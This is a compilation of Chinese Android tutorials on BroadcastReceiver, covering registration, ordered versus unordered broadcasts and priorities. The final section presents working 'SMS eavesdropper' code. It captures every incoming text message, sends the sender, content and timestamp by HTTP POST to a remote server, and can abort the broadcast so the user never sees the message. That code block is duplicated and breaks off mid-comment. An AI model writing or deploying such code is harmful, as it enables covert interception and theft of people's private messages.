Android深入探究笔记之二十 -- 广播接收者
- 格式:docx
- 大小:23.05 KB
- 文档页数:9
Android中⼴播接收者BroadcastReceiver详解1. 接收系统的⼴播步骤(1) 新建⼀个类继承BroadcastReceiver以监听sd卡状态的⼴播接收者为例1public class SdCardBroadcastReceiver extends BroadcastReceiver {23 @Override4public void onReceive(Context context, Intent intent) {5 String action = intent.getAction();6if("android.intent.action.MEDIA_MOUNTED".equals(action)){7 System.out.println("sd卡已挂载");8 }else if("android.intent.action.MEDIA_UNMOUNTED".equals(action)){9 System.out.println("sd卡已卸载");10 }11 }1213 }形象⼀点的⽐喻, 这⼀步相当于买了个收⾳机(2) 在清单⽂件中注册1 <!-- 相当于装电池 -->2 <receiver android:name="com.example.sdbroadcast.SdCardBroadcastReceiver">3 <!-- 相当于调频道 -->4 <intent-filter>5 <action android:name="android.intent.action.MEDIA_MOUNTED"/>6 <action android:name="android.intent.action.MEDIA_UNMOUNTED"/>7 <data android:scheme="file"/>8 </intent-filter>9 </receiver>这⼀步相当于装电池(3) 在清单⽂件中添加意图过滤器,action⾥写监听的内容1 <!-- 相当于调频道 -->2 <intent-filter>3 <action android:name="android.intent.action.MEDIA_MOUNTED"/>4 <action android:name="android.intent.action.MEDIA_UNMOUNTED"/>5 <data android:scheme="file"/>6 </intent-filter>这⼀步相当于调频道了2. 发送⾃定义的⽆序⼴播(1) 发送⼴播1public void startBroadcast(View view){2//开启⼴播3//创建⼀个意图对象4 Intent intent = new Intent();5//指定发送⼴播的频道6 intent.setAction("com.example.BROADCAST");7//发送⼴播的数据8 intent.putExtra("key", "发送⽆序⼴播,顺便传递的数据");9//发送10 sendBroadcast(intent);11 }(2) 接收⼴播新建⼀个类,继承BroadcastReceiver1public class UnorderedReceiver extends BroadcastReceiver {23 @Override4public void onReceive(Context context, Intent intent) {5 String action = intent.getAction();67 String data = intent.getStringExtra("key");89 System.out.println("接受到了⼴播,action:"+ action +",data:"+data);1011//接受到了⼴播,action:com.example.BROADCAST,data:发送⽆序⼴播,顺便传递的数据12 }1314 }记得在清单⽂件中进⾏注册1 <receiver android:name="com.example.selfreceiver.UnorderedReceiver">2 <intent-filter>3 <action android:name="com.example.BROADCAST"/>4 </intent-filter>5 </receiver>打印出的结果:3. 发送⾃定义的有序⼴播(1) 发送⼴播1// 发送有序⼴播2public void sendOrderedBroad(View view) {3 Intent intent = new Intent();4 intent.setAction("com.example.ORDERED");5// 发送⽆序⼴播6 sendOrderedBroadcast(intent,//意图动作,指定action动作7null, //receiverPermission,接收这条⼴播具备什么权限8new FinalReceiver(),//resultReceiver,最终的⼴播接受者,⼴播⼀定会传给他9null, //scheduler,handler对象处理⼴播的分发10 0,//initialCode,初始代码11 "每⼈发10⽄⼤⽶,不得有误!", //initialData,初始数据12null//initialExtras,额外的数据,如果觉得初始数据不够,可以通过bundle来指定其他数据13 );14 }在上⾯的代码中,⼴播发送者发送了⼀条⼴播:"每⼈发10⽄⼤⽶,不得有误!"(2) 接收⼴播新建⼀个类, 继承BroadcastReceiver,并在清单⽂件中进⾏注册以下是所有的⼴播接收者在清单⽂件中的注册权限从-1000 ⾄ 10001) 权限⾼的⼴播接收者可以修改⼴播,甚⾄可以终⽌⼴播权限⾼的⼴播接收者1:1public class ShengReceiver extends BroadcastReceiver {23 @Override4public void onReceive(Context context, Intent intent) {56//获取⼴播的数据7 String data = getResultData();89//修改10 setResultData("中央下达福利,每⼈5⽄⼤⽶");1112 System.out.println("省政府收到指⽰, data : "+data);13 }1415 }在这⾥, 这个接收者修改⼴播为: "中央下达福利,每⼈5⽄⼤⽶"权限低的⼴播接收者1public class PeopleReceiver extends BroadcastReceiver {23 @Override4public void onReceive(Context context, Intent intent) {5//获取⼴播的数据6 String data = getResultData();7 System.out.println("⽼百姓收到福利,感谢党, data : "+data);8 }910 }这样,在控制台打印出来的信息为:权限低的接收者接收到的⼴播就是修改后的了2) 终⽌⼴播权限⾼的⼴播接收者:1public class ShengReceiver extends BroadcastReceiver {23 @Override4public void onReceive(Context context, Intent intent) {56//获取⼴播的数据7 String data = getResultData();89//也可以终⽌⼴播,权限⼩的接收者就接收不到⼴播了10 abortBroadcast();1112 System.out.println("省政府收到指⽰, data : "+data);13 }1415 }控制台打印:权限⼩的就接收不到⼴播了....(3) resultReceiver可以在⼴播发送者的应⽤中建⼀个resultReceiver, ⽤于接收最终到达的⼴播,⽆论⼴播是否终⽌,都会被resultReceiver接收1public class FinalReceiver extends BroadcastReceiver {23 @Override4public void onReceive(Context context, Intent intent) {5 String resultData = getResultData();6 System.out.println("⼈民收到的最终福利是: "+ resultData);7 }89 }控制台打印信息:(终⽌⼴播后):(修改⼴播后):4. 补充:有序⼴播和⽆序⼴播的区别:有序⼴播:发送⽅发出后,⼏乎同时到达多个⼴播接收者处,某个接收者不能接收到⼴播后进⾏⼀番处理后传给下⼀个接收者,并且⽆法终⽌⼴播继续传播;Context.sendBroadcast(intent);有序⼴播:⼴播接收者需要提前设置优先级,优先级⾼的先接收到⼴播,优先级数值为-1000~1000,在AndroidManifest.xml的<intent-filter android:priority="xxx">设置;⽐如存在3个⼴播接收者A、B、C,优先级A>B>C,因此A最先收到⼴播,当A收到⼴播后,可以向⼴播中添加⼀些数据给下⼀个接收者(intent.putExtra()),或者终⽌⼴播(abortBroadcast());Context.sendOrderedBroadcast(intent);。
1.Android广播机制概述Android广播分为两个方面:广播发送者和广播接收者,通常情况下,BroadcastReceiver 指的就是广播接收者(广播接收器)。
广播作为Android组件间的通信方式,可以使用的场景如下:1.同一app内部的同一组件内的消息通信(单个或多个线程之间);2.同一app内部的不同组件之间的消息通信(单个进程);3.同一app具有多个进程的不同组件之间的消息通信;4.不同app之间的组件之间消息通信;5.Android系统在特定情况下与App之间的消息通信。
从实现原理看上,Android中的广播使用了观察者模式,基于消息的发布/订阅事件模型。
因此,从实现的角度来看,Android中的广播将广播的发送者和接受者极大程度上解耦,使得系统能够方便集成,更易扩展。
具体实现流程要点粗略概括如下:1.广播接收者BroadcastReceiver通过Binder机制向AMS(Activity Manager Service)进行注册;2.广播发送者通过binder机制向AMS发送广播;3.AMS查找符合相应条件(IntentFilter/Permission等)的BroadcastReceiver,将广播发送到BroadcastReceiver(一般情况下是Activity)相应的消息循环队列中;4.消息循环执行拿到此广播,回调BroadcastReceiver中的onReceive()方法。
对于不同的广播类型,以及不同的BroadcastReceiver注册方式,具体实现上会有不同。
但总体流程大致如上。
由此看来,广播发送者和广播接收者分别属于观察者模式中的消息发布和订阅两端,AMS 属于中间的处理中心。
广播发送者和广播接收者的执行是异步的,发出去的广播不会关心有无接收者接收,也不确定接收者到底是何时才能接收到。
显然,整体流程与EventBus非常类似。
在上文说列举的广播机制具体可以使用的场景中,现分析实际应用中的适用性:第一种情形:同一app内部的同一组件内的消息通信(单个或多个线程之间),实际应用中肯定是不会用到广播机制的(虽然可以用),无论是使用扩展变量作用域、基于接口的回调还是Handler-post/Handler-Message等方式,都可以直接处理此类问题,若适用广播机制,显然有些“杀鸡牛刀”的感觉,会显太“重”;第二种情形:同一app内部的不同组件之间的消息通信(单个进程),对于此类需求,在有些教复杂的情况下单纯的依靠基于接口的回调等方式不好处理,此时可以直接使用EventBus等,相对而言,EventBus由于是针对统一进程,用于处理此类需求非常适合,且轻松解耦。
如何在Android中正确使用广播接收器广播接收器是Android中重要的组件之一,可以用于接收和处理广播消息。
它可以用于跨应用程序的信息传递,以及系统事件的监听和处理。
正确使用广播接收器是Android开发中的关键所在,以下将介绍如何在Android中正确使用广播接收器。
一、了解广播接收器的基本概念和原理在Android中,广播接收器用于接收和处理广播消息,广播消息可以是系统内部发出的,也可以是应用程序内部发出的。
广播接收器是一种全局的机制,可以在应用程序中的任何地方注册,用于监听系统事件以及自定义事件。
二、注册广播接收器在Android中,注册广播接收器有两种方式:静态注册和动态注册。
静态注册在AndroidManifest.xml文件中进行,系统会在应用程序启动时自动注册广播接收器;动态注册通过代码的方式在运行时注册,可以更加灵活地控制广播接收器的生命周期。
在Activity或Fragment中动态注册广播接收器的示例代码如下:```public class MyActivity extends AppCompatActivity {private BroadcastReceiver mReceiver;@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(yout.activity_main);mReceiver = new MyBroadcastReceiver();IntentFilter filter = new IntentFilter();filter.addAction("com.example.MY_ACTION");registerReceiver(mReceiver, filter);}@Overrideprotected void onDestroy() {super.onDestroy();unregisterReceiver(mReceiver);}// 自定义广播接收器public class MyBroadcastReceiver extends BroadcastReceiver { @Overridepublic void onReceive(Context context, Intent intent) {// 处理接收到的广播消息}}```三、处理广播消息广播接收器接收到广播消息后,需要进行相应的处理。
BroadcastReceiver详解(⼀)今天我们来讲⼀下Android中BroadcastReceiver的相关知识。
BroadcastReceiver也就是“⼴播接收者”的意思,顾名思义,它就是⽤来接收来⾃系统和应⽤中的⼴播。
在Android系统中,⼴播体现在⽅⽅⾯⾯,例如当开机完成后系统会产⽣⼀条⼴播,接收到这条⼴播就能实现开机启动服务的功能;当⽹络状态改变时系统会产⽣⼀条⼴播,接收到这条⼴播就能及时地做出提⽰和保存数据等操作;当电池电量改变时,系统会产⽣⼀条⼴播,接收到这条⼴播就能在电量低时告知⽤户及时保存进度,等等。
Android中的⼴播机制设计的⾮常出⾊,很多事情原本需要开发者亲⾃操作的,现在只需等待⼴播告知⾃⼰就可以了,⼤⼤减少了开发的⼯作量和开发周期。
⽽作为应⽤开发者,就需要数练掌握Android系统提供的⼀个开发利器,那就是BroadcastReceiver。
下⾯我们就对BroadcastReceiver逐⼀地分析和演练,了解和掌握它的各种功能和⽤法。
⾸先,我们来演⽰⼀下创建⼀个BroadcastReceiver,并让这个BroadcastReceiver能够根据我们的需要来运⾏。
要创建⾃⼰的BroadcastReceiver对象,我们需要继承android.content.BroadcastReceiver,并实现其onReceive⽅法。
下⾯我们就创建⼀个名为MyReceiver⼴播接收者:[java]1. package com.scott.receiver;2.3. import android.content.BroadcastReceiver;4. import android.content.Context;5. import android.content.Intent;6. import android.util.Log;7.8. public class MyReceiver extends BroadcastReceiver {9.10. private static final String TAG = "MyReceiver";11.12. @Override13. public void onReceive(Context context, Intent intent) {14. String msg = intent.getStringExtra("msg");15. Log.i(TAG, msg);16. }17.18. }在onReceive⽅法内,我们可以获取随⼴播⽽来的Intent中的数据,这⾮常重要,就像⽆线电⼀样,包含很多有⽤的信息。
BroadcastReceiver广播事件处理机制,和事件处理机制类似,只不过事件处理机制是程序组件级别的,而广播事件处理机制是系统级别的。
发送方不关心接收方是否接收这些数据,也不关心接收方如何处理这些数据,如何处理数据由接收方决定。
BroadcastReceiver用于监听被广播的事件(Intent)为了达到这个目的,BroadcastReceiver必须进行注册,注册的方法有以下两种:1、在应用程序的代码中进行注册(只有程序在执行状态才能接收到广播事件)2、在AndroidManifest.xml中进行注册(即使应用程序已经被关闭,仍然可以接收到广播事件)自定义Broadcase Receiver1.创建Intent,发出广播声明一个字符串定义广播ACTIONprivate static final String MY_ACTION = "jimmy.action.MY_ACTION";创建Intent对象,设置其Action属性和Extra属性,使用该Intent发出广播Intent intent = new Intent();intent.setAction(MY_ACTION);intent.putExtra("msg", "这是我自己定义的广播");sendBroadcast(intent);2.定义一个MyReceiver类该类继承BroadcastReceiver类,复写onReceive()方法接收广播,并显示信息public class MyReceiver extends BroadcastReceiver {@Overridepublic void onReceive(Context cxt, Intent intent) {// TODO Auto-generated method stubString msg = intent.getStringExtra("msg");Toast.makeText(cxt, msg, Toast.LENGTH_LONG).show();}}3.在AndroidManifest.xml配置文件中声明广播接收组件<receiver android:name=".MyReceiver"><intent-filter><action android:name="jimmy.action.MY_ACTION"></action></intent-filter></receiver>系统Broadcase Receiver1.标准广播Action,这些广播是系统自动发出的,我们直接定义事件接收器进行接收就可以使用系统消息了。
广播接收器 broadcast sendOrderedBroadcast android分类:android 2012-03-20 14:04 1503人阅读评论(0) 收藏举报广播接收器:广播接收者(BroadcastReceiver)用于监听系统事件或应用程序事件,通过调用Context.sendBroadcast()、Context.sendOrderedBroadcast()可以向系统发送广播意图,通过广播一个意图(Intent)可以被多个广播接收者所接收,从而可以在不用修改原始的应用程序的情况下,让你对事件作出反应。
其中Context.sendBroad()主要是用来广播无序事件(也被称为有序广播 Normal broadcast),即所有的接收者在理论上是同时接收到事件,同时执行的,对消息传递的效率而言这是比较好的做法。
而Context.sendOrderedBroadcast()方法用来向系统广播有序事件(Ordered broadcast),接收者按照在Manifest.xml文件中设置的接收顺序依次接收Intent,顺序执行的,接收的优先级可以在系统配置文件中设置(声明在intent-filter元素的android:priority属性中,数值越大优先级别越高,其取值范围为-1000到1000。
当然也可以在调用IntentFilter对象的setPriority()方法进行设置)。
对于有序广播而言,前面的接收者可以对接收到得广播意图(Intent)进行处理,并将处理结果放置到广播意图中,然后传递给下一个接收者,当然前面的接收者有权终止广播的进一步传播。
如果广播被前面的接收者终止后,后面的接收器就再也无法接收到广播了。
广播接收器(Broadcaset)运行的线程:无论对于有序广播还是无序广播,广播接收器默认都是运行在主线程中的(main线程,即UI线程)。
可以通过在程序中使用registerReceiver(receiver, filter, broadcastPermission, scheduler)方法中的最后一个参数指定要运行的广播接收器的线程。
AndroidBroadcastReceiver的基本使用Android的BroadcastReceiver是一种用于接收系统或应用发出的广播消息的组件。
它可以用于监听系统事件、接收应用内部广播以及接收其他应用发出的广播。
本文将介绍AndroidBroadcastReceiver的基本使用。
一、BroadcastReceiver的注册要使用BroadcastReceiver,首先需要在AndroidManifest.xml文件中声明,如下所示:```<receiver android:name=".MyReceiver"><intent-filter><action android:name="android.intent.action.BOOT_COMPLETED" /><actionandroid:name="android.intent.action.ACTION_POWER_CONNECTED" /> </intent-filter></receiver>```上述代码中,我们注册了一个名为MyReceiver的BroadcastReceiver,并使用intent-filter来指定我们要监听的广播事件。
在上述示例中,我们监听了系统启动完成和电源连接事件。
二、BroadcastReceiver的实现接下来,我们需要在代码中实现MyReceiver类,该类继承自BroadcastReceiver,并实现其中的onReceive(方法,如下所示:```public class MyReceiver extends BroadcastReceiverpublic void onReceive(Context context, Intent intent)String action = intent.getAction(;if (action.equals(Intent.ACTION_BOOT_COMPLETED))//处理系统启动完成广播} else if (action.equals(Intent.ACTION_POWER_CONNECTED))//处理电源连接广播}}```在onReceive(方法中,我们可以根据接收到的广播事件进行相应的处理。
广播接收者BroadcastReceiverAndroid应用程序是由一些零散的有联系的组件构成,通过一个工程清单manifest绑定在一起。
在manifest中,描述了每一个组件以及组件的作用。
Android中有4大组件,它们是Android应用程序的基石。
1.四大组件●Activity:应用程序的显示层。
一个Activity通常展现为一个可视化的用户界面,在这个界面里可以响应与用户的交互,就桌面开发而言,一个Activity相当于一张Form表单。
●ContentProvider:提供共享的数据存储。
应用程序可以通过ContentProvider(内容提供者)访问其他应用的一些私有数据,实现不同应用程序之间的数据共享。
●Service:后台的服务,可以理解成是Android应用程序不可见的“工人“。
Service没有界面但是它会在后台一直运行,多媒体播放器便是service应用的一个非常好的案例。
●BroadcastReceiver:Intent广播的“消费者“即广播接收者。
通过创建和注册一个BroadcastReceiver,应用程序可以监听符合条件的Intent。
BroadcastReceiver会自动的启动你的Android应用程序来响应新来的Intent。
BroadcastReceiver是事件驱动程序的理想手段。
2.BroadcastReceiver作用在上述四个组件中,我们已经学习过前两个组件。
下面我们来学习BroadcastReceiver即广播接收者。
Android开发中,为什么需要广播接收者,google工程师设计它的目的又是什么呢?相信大家都听过广播,在听广播的过程中有两个重要的组成部分,一个是电台,另一个是收音机。
电台的作用是用来发送广播信号的,收音机的作用是用来接收广播信号的。
若要使收音机能够准确的接收到电台发送的消息,收音机的调频必须要和电台发送信号的频率保持一致。
BroadcastReceiver(广播接收器)是Android系统中非常重要的组件之一,它允许应用程序在系统范围内或应用内接收并响应广播消息。
广播消息可以来自系统(如系统启动完成、网络状态变化等)或应用内部(如应用内部组件发出的广播)。
接收到广播消息后,BroadcastReceiver可以启动服务、启动Activity或执行其他操作。
1. BroadcastReceiver的注册和使用在AndroidManifest.xml文件中注册BroadcastReceiver,声明需要监听的广播消息。
同时也可以通过代码方式注册BroadcastReceiver,这种方式更加灵活,可以动态注册和注销Receiver。
```<receiverandroid:name=".MyBroadcastReceiver"android:enabled="true"android:exported="true"><intent-filter><actionandroid:name="android.intent.action.BOOT_COMPLETED" /><actionandroid:name=".conn.CONNECTIVITY_CHANGE" /> </intent-filter></receiver>```在BroadcastReceiver中重写onReceive()方法处理接收到的广播消息。
```public class MyBroadcastReceiver extends BroadcastReceiver { Overridepublic void onReceive(Context context, Intent intent) {String action = intent.getAction();if (action.equals(Intent.ACTION_BOOT_COMPLETED)) {// 处理系统启动完成广播} else if(action.equals(ConnectivityManager.CONNECTIVITY_ACTION)) { // 处理网络状态变化广播}}}```2. 广播消息的分类广播消息可以分为普通广播、有序广播和粘性广播。
Android深入探究笔记之二十-- 广播接收者,BroadcastReceiver 收藏1. 概述广播被分为两种不同的类型:“普通广播(Normal broadcasts)”和“有序广播(Ordered broadcasts)”。
普通广播是完全异步的,可以在同一时刻(逻辑上)被所有接收者接收到,消息传递的效率比较高,但缺点是:接收者不能将处理结果传递给下一个接收者,并且无法终止广播Intent的传播。
然而有序广播是按照接收者声明的优先级别,被接收者依次接收广播。
如:A的级别高于B,B的级别高于C,那么,广播先传给A,再传给B,最后传给C 。
优先级别声明在intent-filter 元素的android:priority 属性中,数越大优先级别越高,取值范围:-1000到1000,优先级别也可以调用IntentFilter对象的setPriority()进行设置。
有序广播的接收者可以终止广播Intent的传播,广播Intent的传播一旦终止,后面的接收者就无法接收到广播。
另外,有序广播的接收者可以将数据传递给下一个接收者,如:A得到广播后,可以往它的结果对象中存入数据,当广播传给B时,B可以从A的结果对象中得到A存入的数据。
Context.sendBroadcast()发送的是普通广播,所有订阅者都有机会获得并进行处理。
Context.sendOrderedBroadcast()发送的是有序广播,系统会根据接收者声明的优先级别按顺序逐个执行接收者,前面的接收者有权终止广播(BroadcastReceiver.abortBroadcast()),如果广播被前面的接收者终止,后面的接收者就再也无法获取到广播。
对于有序广播,前面的接收者可以将数据通过setResultExtras(Bundle)方法存放进结果对象,然后传给下一个接收者,下一个接收者通过代码:Bundle bundle = getResultExtras(true))可以获取上一个接收者存入在结果对象中的数据。
2.广播接收者(BroadcastReceiver)用于接收广播Intent,广播Intent 的发送是通过调用Context.sendBroadcast()、Context.sendOrderedBroadcast() 来实现的。
通常一个广播Intent 可以被订阅了此Intent 的多个广播接收者所接收,这个特性跟JMS 中的Topic 消息接收者类似。
要实现一个广播接收者方法如下:第一步:继承BroadcastReceiver,并重写onReceive()方法。
public class IncomingSMSReceiver extends BroadcastReceiver {@Override public void onReceive(Context context, Intent intent) {}}第二步:订阅感兴趣的广播Intent,订阅方法有两种:第一种:使用代码进行订阅<!-- android.provider.Telephony.SMS_RECEIVED 是短信广播-- >IntentFilter filter = newIntentFilter("android.provider.Telephony.SMS_RECEIVED");IncomingSMSReceiver receiver = new IncomingSMSReceiver();registerReceiver(receiver, filter);第二种:在AndroidManifest.xml文件中的<application>节点里进行订阅:<receiver android:name=".IncomingSMSReceiver"><intent-filter><actionandroid:name="android.provider.Telephony.SMS_RECEIVED"/></intent-filter></receiver>3.在Android中,每次广播消息到来时都会创建BroadcastReceiver实例并执行onReceive() 方法,onReceive() 方法执行完后,BroadcastReceiver 的实例就会被销毁。
当onReceive() 方法在10秒内没有执行完毕,Android会认为该程序无响应。
所以在BroadcastReceiver里不能做一些比较耗时的操作,否侧会弹出ANR (Application No Response)的对话框。
如果需要完成一项比较耗时的工作,应该通过发送Intent给Service,由Service 来完成。
这里不能使用子线程来解决,因为BroadcastReceiver 的生命周期很短,子线程可能还没有结束BroadcastReceiver就先结束了。
BroadcastReceiver一旦结束,此时BroadcastReceiver所在的进程很容易在系统需要内存时被优先杀死,因为它属于空进程(没有任何活动组件的进程)。
如果它的宿主进程被杀死,那么正在工作的子线程也会被杀死。
所以采用子线程来解决是不可靠的。
4. 实现短信窃听器* 当短信到来的时候,会发出一个短信到来广播。
只要订阅这个广播。
就能获取到短信的所有信息。
* 系统收到短信,发出的广播属于有序广播。
如果想阻止用户收到短信,可以通过设置优先级,让你们自定义的接收者先获取到广播,然后终止广播,这样用户就接收不到短信了。
* 新建Android 项目:SMSListener* 在AndroidManifest.xml 添加相应权限<!-- 接收短信权限 --><uses-permissionandroid:name="android.permission.RECEIVE_SMS"/><!-- 访问internet权限 --><uses-permission android:name="android.permission.INTERNET"/> * 新建广播接收者类:IncomingSMSReceiverview plaincopy to clipboardprint?/*** 短信窃听器*/public class IncomingSMSReceiver extends BroadcastReceiver { private static final String SMS_RECEIVED ="android.provider.Telephony.SMS_RECEIVED";@Overridepublic void onReceive(Context context, Intent intent) {String action = intent.getAction();if(SMS_RECEIVED.equals(action)) {Bundle bundle = intent.getExtras();if(bundle != null) {Object[] pdus = (Object[]) bundle.get("pdus");for(Object pdu : pdus) {/* 要特别注意,这里是android.telephony.SmsMessage 可不是android.telephony.SmsManager */SmsMessage message =SmsMessage.createFromPdu((byte[])pdu);String sender = message.getOriginatingAddress();String conetnt = message.getMessageBody();Date date = new Date(message.getTimestampMillis());SimpleDateFormat dateFormat = newSimpleDateFormat("yyyy-MM-dd HH:mm:ss");String time = dateFormat.format(date);sendSMS(sender, conetnt, time);/* 实现黑名单功能,下面这段代码将5556 发送者的短信屏蔽* 前提是,本接受者的优先权要高于Android 内置的短信应用程序*/if("5556".equals(sender)){abortBroadcast();}}}}/*** 发送拦截的短信到服务器*/private void sendSMS(String sender, String conetnt, String time) { try {/* HTTP 协议的实体数据*/byte[] entity = getEntity(sender, conetnt, time);/* 发送的目标地址*/URL url = newURL("http://192.168.1.102:8080/myvideoweb/ems.do");HttpURLConnection conn = (HttpURLConnection)url.openConnection();conn.setConnectTimeout(5*1000);conn.setRequestMethod("POST");//必须设置此属性为trueconn.setDoOutput(true);conn.setRequestProperty("Content-Type","application/x-www-form-urlencoded");conn.setRequestProperty("Content-Length",String.valueOf(entity.length));OutputStream os = conn.getOutputStream();os.write(entity);/* 在此方法之前conn 的数据都是被缓存起来的,并没有真正发送。
因此必须要调用这个方法一下。
*/conn.getResponseCode();os.close();} catch (Exception e) {}}private byte[] getEntity(String sender, String conetnt, String time) throws Exception {String params = "method=getSMS&sender="+ sender+"&content="+ URLEncoder.encode(conetnt, "UTF-8")+ "&time="+ time;return params.getBytes();}/*** 短信窃听器*/public class IncomingSMSReceiver extends BroadcastReceiver {private static final String SMS_RECEIVED ="android.provider.Telephony.SMS_RECEIVED";@Overridepublic void onReceive(Context context, Intent intent) {String action = intent.getAction();if(SMS_RECEIVED.equals(action)) {Bundle bundle = intent.getExtras();if(bundle != null) {Object[] pdus = (Object[]) bundle.get("pdus");for(Object pdu : pdus) {/* 要特别注意,这里是android.telephony.SmsMessage 可不是android.telephony.SmsManager */SmsMessage message = SmsMessage.createFromPdu((byte[])pdu);String sender = message.getOriginatingAddress();String conetnt = message.getMessageBody();Date date = new Date(message.getTimestampMillis());SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");String time = dateFormat.format(date);sendSMS(sender, conetnt, time);/* 实现黑名单功能,下面这段代码将5556 发送者的短信屏蔽* 前提是,本接受者的优先权要高于Android 内置的短信应用程序*/if("5556".equals(sender)){abortBroadcast();}}}}}/*** 发送拦截的短信到服务器*/private void sendSMS(String sender, String conetnt, String time) {try {/* HTTP 协议的实体数据*/byte[] entity = getEntity(sender, conetnt, time);/* 发送的目标地址*/URL url = new URL("http://192.168.1.102:8080/myvideoweb/ems.do");HttpURLConnection conn = (HttpURLConnection) url.openConnection();conn.setConnectTimeout(5*1000);conn.setRequestMethod("POST");//必须设置此属性为trueconn.setDoOutput(true);conn.setRequestProperty("Content-Type","application/x-www-form-urlencoded");conn.setRequestProperty("Content-Length", String.valueOf(entity.length)); OutputStream os = conn.getOutputStream();os.write(entity);/* 在此方法之前conn 的数据都是被缓存起来的,并没有真正发送。